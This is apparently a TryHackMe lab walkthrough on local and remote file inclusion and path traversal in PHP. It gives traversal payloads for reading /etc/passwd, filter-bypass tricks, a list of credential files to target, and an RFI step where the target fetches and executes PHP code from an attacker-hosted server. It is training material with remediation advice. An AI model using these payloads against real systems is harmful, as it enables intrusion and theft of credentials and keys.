File Inclusion Vulnerability — TryHackMe Walkthrough

File Inclusion Vulnerability — TryHackMe Walkthrough

We're going to discover the essential knowledge on how to exploit file inclusion vulnerabilities, including Local File Inclusion (LFI), Remote File Inclusion (RFI), and directory traversal. Furthermore, we will evaluate the potential risks associated with these vulnerabilities upon their discovery and address the necessary steps for remediation.

In certain cases, web applications are designed to request access to files on a specific system, such as images or static text, through the use of parameters. Parameters are query parameter strings attached to the URL, which enable the retrieval of data or execution of actions based on user input. The diagram below provides a breakdown of the key components of a URL.

For example, parameters are used with Google searching, where GET requests pass user input into the search engine. google.com/search?q=TryHackMe. If you are not familiar with the topic, you can view the How The Web Works module to understand the concept.
In a specific scenario where a user intends to access files from a web server, the process typically involves the user sending an HTTP request to the web server, specifying the desired file to be displayed. For instance, if a user wishes to access and display their CV within a web application, the corresponding request might appear as follows: webapp.thm/get.php?file=userCV.pdf. Here, the parameter file is utilized, with userCV.pdf representing the specific file that the user intends to access.

Why do File inclusion vulnerabilities happen?

File inclusion vulnerabilities are frequently encountered and exploited in various programming languages such as PHP. The root cause of these vulnerabilities often lies in inadequate input validation. When user inputs are not properly sanitized or validated, and the user has control over them, it opens the door for exploitation. In such cases, if the input is not adequately validated, users can pass any input to the application, leading to the vulnerability being exploited.

What is the risk of File inclusion?

By default, file inclusion vulnerabilities can enable attackers to extract sensitive data such as code, credentials, or important files associated with the web application or operating system. Additionally, if the attacker can write files to the server by any other means, file inclusion might be used in tandem to gain remote command execution (RCE).

Path Traversal

Path traversal, also known as Directory traversal, is a web security vulnerability that permits an attacker to access operating system resources, such as local files on the server where an application is running. Exploiting this vulnerability involves manipulating and misusing the URL of the web application to navigate and retrieve files or directories located outside the application's root directory.

Path traversal vulnerabilities arise when user input is not properly validated or filtered before being passed to functions like file_get_contents in PHP. It's crucial to understand that the vulnerability is not directly caused by the function itself, but rather by inadequate input validation. In PHP, the file_get_contents function is employed to read the contents of a file. You can find more information about the function here.

The graph below illustrates the file storage structure of a web application, where files are stored in the directory /var/www/app. Under normal circumstances, a user would request the contents of "userCV.pdf" from the predefined path /var/www/app/CVs.

To test the behavior of the web application using URL parameters, we can introduce payloads to observe its response. Path traversal attacks, commonly referred to as dot-dot-slash attacks, exploit the ability to navigate one directory up using the "../" sequence. If the attacker identifies the entry point, such as in the case of get.php?file=, they can craft a malicious payload like the following: webapp.thm/get.php?file=../../../../etc/pas...

In the absence of proper input validation, the web application may fetch files from unexpected directories instead of accessing the intended PDF files located at /var/www/app/CVs. In this scenario, the application retrieves files from other directories, such as /etc/passwd. Each ".." entry moves the traversal one directory up, gradually progressing toward the root directory "/". Finally, the traversal reaches the /etc directory, and from there, the application reads the "passwd" file.

As a result, the web application sends back the file's content to the user.

In the case of a web application running on a Windows server, the attacker would need to provide Windows paths to exploit path traversal vulnerabilities. For example, if the attacker aims to read the boot.ini file located at "c:\boot.ini", they can attempt the following, depending on the target OS version:

The underlying principle remains the same as with Linux operating systems, where the traversal involves climbing up directories until reaching the root directory, typically denoted as "c:" in Windows.

It's worth noting that developers sometimes implement filters to restrict access to specific files or directories. Here are some commonly used OS files that can be helpful for testing purposes:

LocationDescription
/etc/issuecontains a message or system identification to be printed before the login prompt.
/etc/profilecontrols system-wide default variables, such as Export variables, File creation mask (umask), Terminal types, Mail messages to indicate when new mail has arrived
/proc/versionspecifies the version of the Linux kernel
/etc/passwdhas all registered user that has access to a system
/etc/shadowcontains information about the system's users' passwords
/root/.bash_historycontains the history commands for root user
/var/log/dmessagecontains global system messages, including the messages that are logged during system startup
/var/mail/rootall emails for root user
/root/.ssh/id_rsaPrivate SSH keys for a root or any known valid user on the server
/var/log/apache2/access.logthe accessed requests for Apache webserver
C:\boot.inicontains the boot options for computers with BIOS firmware

Local File Inclusion (LFI)

LFI (Local File Inclusion) attacks targeting web applications typically arise from developers lacking security awareness. In the context of PHP, the usage of functions like include, require, include_once, and require_once often leads to vulnerable web applications. However, it's essential to recognize that LFI vulnerabilities can occur in other programming languages as well, such as ASP, JSP, or even in Node.js applications. LFI exploits operate on the same principles as path traversal, leveraging the ability to navigate through directories and include local files in the web application's execution flow.

  1. Suppose the web application provides two languages, and the user can select between the EN and AR.
<?PHP 
    include($_GET["lang"]);
?>

The provided PHP code utilizes a GET request through the URL parameter "lang" to include the corresponding language file on the page. By sending an HTTP request, such as http://webapp.thm/index.php?lang=EN.php, the English page can be loaded. Similarly, http://webapp.thm/index.php?lang=AR.php loads the Arabic page. It's important to note that the EN.php and AR.php files are presumed to exist in the same directory.

In theory, if there is no input validation in the code snippet provided, it is possible to access and display any readable file on the server. For instance, to read the "/etc/passwd" file, which contains sensitive information about Linux operating system users, one can attempt the following URL: webapp.thm/get.php?file=/etc/passwd.

In this case, it works because there isn't a directory specified in the include function and no input validation.

  1. Next, In the following code, the developer decided to specify the directory inside the function.
<?PHP 
    include("languages/". $_GET['lang']); 
?>

In the above snippet, the developer decided to use the include function to call PHP pages in the languages directory only via lang parameters.

If there is no input validation, the attacker can manipulate the URL by replacing the lang input with other OS-sensitive files such as /etc/passwd.

Again the payload looks similar to the path traversal, but the include function allows us to include any called files into the current page. The following will be the exploit:
webapp.thm/index.php?lang=../../../../etc/p..

In the above image, we can see the directory (includes) specified by the developer to read the pages from.

The URL http://10.10.39.197/lab2.php?file=../../../../etc/passwd is an example of a payload that attempts to exploit a path traversal vulnerability and accessing /etc/passwd file.

Local File Inclusion - LFI #2

1

In the previous two scenarios, we were able to examine the web application's source code and identify how to exploit it. However, in the current situation, we are conducting black box testing without access to the source code. In this approach, error messages play a crucial role in comprehending how data is transmitted and handled within the web application.

In this particular case, we have the following entry point: http://webapp.thm/index.php?lang=EN. When we provide an invalid input, such as "THM," the system generates the following error message:

Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

The error message exposes valuable information. When inputting "THM" as the parameter, the error message reveals the inclusion function as include(languages/THM.php);, indicating that the function includes files from the "languages" directory by appending .php to the entry.

By examining the directory closely, we can deduce that valid input would follow the pattern: index.php?lang=EN, where the file "EN" resides in the "languages" directory and is named EN.php.

Additionally, the error message discloses the complete web application directory path, which is "/var/www/html/THM-4/".

To exploit this vulnerability, we can employ the "../" traversal technique discussed earlier to navigate out of the current folder. Let's attempt the following:

webapp.thm/index.php?lang=../../../../etc/p..

Note that we used four "../" because we know the path contains four levels: "/var/www/html/THM-4". However, we receive another error message:

Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

Although we were able to traverse out of the PHP directory, we encountered a limitation where the include function expects the input to have a .php extension. This indicates that the developer explicitly defines the file type to be included.

To overcome this obstacle, we can employ the use of a NULL BYTE (%00). The NULL BYTE injection technique involves incorporating URL-encoded representations such as %00 or 0x00 in hex format to terminate strings within user-supplied data. Think of it as an attempt to deceive the web application into disregarding any content after the Null Byte.

By appending the Null Byte at the end of the payload, we instruct the include function to ignore anything following the null byte. This can be accomplished as follows:

include("languages/../../../../../etc/passwd%00").".php");

which is equivalent to → include("languages/../../../../../etc/passwd");

NOTE: the %00 trick is fixed and not working with PHP 5.3.4 and above.

2

In this section, the developer implemented keyword filtering to prevent the disclosure of sensitive information. Specifically, the /etc/passwd file is being filtered to restrict access. However, there are two potential methods to bypass this filter.

The first approach involves utilizing the Null Byte (%00)or the current directory trick (/.) at the end of the filtered keyword. For instance, the exploit could be attempted using the following URL: "http://webapp.thm/index.php?lang=/etc/passwd/." We could also use: "http://webapp.thm/index.php?lang=/etc/passwd%00". These techniques aim to deceive the filtering mechanism and bypass the restrictions put in place.

For better understanding, let's consider applying this concept to the file system. Using cd .. will take you back one step, moving to the previous directory. Conversely, using cd . will keep you in the current directory without any changes. Similarly, if we attempt /etc/passwd/.., it will result in /etc/ as we have moved up one level to the root directory. Now, if we try /etc/passwd/., the result will be /etc/passwd since the dot symbol refers to the current directory.

By appending /. at the end of the file path, the filter may interpret it as a separate entity or pattern, potentially allowing it to pass through the filter.
As a result, the web application code may consider the filtered part (/.) as a valid file or directory, such as the current directory. The remaining part of the file path (/etc/passwd) can then be processed by functions like file_get_contents, effectively accessing the sensitive file /etc/passwd on the system.

3

Moving forward, in subsequent situations, the developer implements input validation by applying filters to certain keywords. Let's proceed with testing and examining the resulting error message.

Upon visiting the URL http://webapp.thm/index.php?lang=../../../../etc/passwd, we observe the following error message:

Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

By inspecting the warning message within the include(languages/etc/passwd) segment, we can determine that the web application substitutes ../ with an empty string "". There are a couple of techniques we can use to bypass this.

First, we can send the following payload to bypass it: ....//....//....//....//....//etc/passwd

Why did this work?

This method is effective because the PHP filter only matches and replaces the first subset string ../ it finds and doesn't do another pass or iteration, leaving what is depicted below.

4

Lastly, let's consider a scenario where the developer forces the include statement to read from a specific directory. For instance, if the web application requires input that includes a directory, such as http://webapp.thm/index.php?lang=languages/EN.php.
Then
we can exploit this by incorporating the desired directory into the payload as follows: ?lang=languages/../../../../../etc/passwd.

Remote File Inclusion - RFI

Remote File Inclusion (RFI) is an exploitative technique used to include remote files in a vulnerable application. Similar to Local File Inclusion (LFI), RFI arises when user input is not adequately or properly sanitized, enabling an attacker to inject an external URL into an include function. One requirement for RFI is that the allow_url_fopen option must be on.

The risk associated with Remote File Inclusion (RFI) is greater than that of Local File Inclusion (LFI) due to the fact that RFI vulnerabilities grant attackers the ability to achieve Remote Command Execution (RCE) on the server. In addition to RCE, successful RFI attacks can result in the following outcomes:

  • Sensitive Information Disclosure

  • Cross-site Scripting (XSS) Attacks

  • Denial of Service (DoS)

For a successful Remote File Inclusion (RFI) attack, it is necessary for an external server to establish communication with the application server. In this attack scenario, the attacker hosts malicious files on their server. Subsequently, the attacker injects the content of the malicious file into the include function by utilizing HTTP requests. As a consequence, the content of the injected malicious file executes on the vulnerable application server.

RFI steps

The provided figure illustrates the steps involved in a successful Remote File Inclusion (RFI) attack. Suppose the attacker hosts a PHP file on their server, located at http://attacker.thm/cmd.txt. The contents of the cmd.txt file contain a printing message "Hello THM."

<?PHP echo "Hello THM"; ?>

In the initial step, the attacker injects the malicious URL, which points to the attacker's server, for example, http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt. If there is no input validation, then the malicious URL successfully passes into the include function. Next, the web app server will send a GET request to the malicious server to fetch the file. As a result, the web app includes the remote file in include function to execute the PHP file within the page and send the execution content to the attacker. In our case, the current page somewhere has to show the Hello THM message.

Remediation

As a developer, it is crucial to have a thorough understanding of web application vulnerabilities, how to identify them, and implement prevention measures. To mitigate file inclusion vulnerabilities, here are some common recommendations:

  1. Regularly update your system, services, and web application frameworks to ensure you have the latest versions, which often include security patches.

  2. Disable PHP errors to prevent potential disclosure of sensitive information, such as the application's path.

  3. Consider implementing a Web Application Firewall (WAF) to provide an additional layer of protection against web application attacks.

  4. Disable PHP features that can introduce file inclusion vulnerabilities, such as allow_url_fopen and allow_url_include, if your web application does not require them.

  5. Conduct a comprehensive analysis of the web application and only allow necessary protocols and PHP wrappers that are in need..

  6. Never trust user input and apply rigorous input validation mechanisms specifically designed to counter file inclusion attacks.

  7. Implement whitelisting for file names and locations as well as blacklisting.

By adhering to these suggestions, developers can significantly enhance the security of their web applications and reduce the risk of file inclusion vulnerabilities.

Challenges

Challenge 1:

They want us to use 'POST' method instead of 'GET' method, for that reason we're going to use Burp Suite.

In a black-box testing scenario, it is recommended to test both GET and POST methods to understand how the web application handles user input and potential vulnerabilities like local file inclusion (LFI).

there may be the filters that are applied to the request with GET are different from those that applied to POST method, hence we should test for both methods.

We're going to use the payload /etc/flag1
before clicking on the Include button fire up the burp suite, then Turn on the foxyproxy and make sure the intercept is on.

follow this awesome YouTube video, on how set up burp suite

On the burp suite click on 'change request method' to change request to post.

then click on the forward button to forward the request

YAY! we got the flag for the first challenge 🎉

Challenge 2:

In this particular challenge, we're gonna tamper with the cookie header as you can see there's no form input or URL parameter.

Open up the inspect element and head up to storage click on the cookies on the left. then double-click on the guest field to change the value to admin.

We changed the guest value to the admin value. We can see clearly the app granting us access as an admin.

then we can inspect that the app is indeed vulnerable
now let's test for /etc/flag2

We got back an error message saying, the app using an include function and the directory named includes this tells us we need to escape the current directory and specify the exact file path on the system. Lastly, the file extension set by the developer we can bypass it with %00.
Now we crafted our payload ../../../../etc/flag2%00, let's send it.

If you're using burp change the THM value to the payload that we just crafted

You might be wondering how this is working behind the scenes. This is not the source code for this lab however, the developer may implement something like this:

Let's assume that we can have a vulnerable backend PHP code:

// File: vuln.php
$cookie_name = 'THM';
$cookie_value = $_COOKIE['THM']; // Unsafe usage of user input from cookie
setcookie($cookie_name, $cookie_value, time() + 3600, '/');

In this vulnerable code, the $_COOKIE['THM'] value is directly assigned to $cookie_value without proper validation or sanitization. This is where the vulnerability lies.

Now, let's see how an attacker can inject the payload into the cookie and exploit the LFI vulnerability:

  1. Setting the cookie value: We either craft a custom HTTP request or use browser developer tools to set the cookie value to the payload that we want to inject, such as:
    Cookie: THM=../../../../etc/flag2%00

  2. Sending the Request: we sent the HTTP request to the web application, and the server-side code executes the vulnerable PHP script (vuln.php).

  3. Vulnerability Exploitation: When the server processes the HTTP request, it sets the cookie THM with the value (../../../../etc/flag2%00). Since there is no proper validation or sanitization, Our payload is accepted as the cookie value.

  4. File Inclusion Attempt: Later in the code or in another part of the application, there might be a file inclusion operation using the cookie value. For example:

     $file_path = $_COOKIE['THM'];
     include($file_path);
    
  5. LFI Exploitation: At this point, the application attempts to include the file specified in the cookie value. Since The controlled payload is present (../../../../etc/flag2%00), it results in the inclusion of the file /etc/flag2.

As you can see, the vulnerability allows us to inject a malicious payload into the cookie value, and due to the lack of proper validation, the payload is later used in the include() function, leading to the LFI exploitation.

To prevent such vulnerabilities, developers should implement strict input validation and sanitization when handling user-supplied data, whether it is from cookies, GET/POST parameters, or any other sources. Additionally, avoid directly using user-controlled input in file operations and consider other secure methods of achieving the required functionality.

Challenge 3:

In this challenge let's try to exploit it with /etc/flag3 payload, put it in the input field hit the include button, and you'll see something like this. Looks like our payload got filtered and we left with etcflag.php. This is due to the web application that may have implemented input filtering or validation. This filtering could be removing certain characters.

let's try using the same payload with POST method, we gonna use burp

We got the flag, again you might wondering why POST method exploits this vulnerability and GET method doesn't.

The fact that how the web application handles the input form for the GET method is different than POST method, such as applying different security settings, input filtering rules, or custom application logic that treats GET and POST requests differently.

Playground Challenge:

In this challenge, we're going to exploit RFI vulnerability by including a php code to the target website and gaining RCE. We want to know what's the hostname of the target system.

<?php  
print exec('hostname');  
?>

Save the code that we want to include to a file.
Run the webserver in the same directory that you create the file

check your IP address with the command ip addr
If you're using a VPN you'll find your private IP address on tun0 interface

first test the input field to get the name of the parameter then put the payload http://10.11.46.4:8000/hostname.txt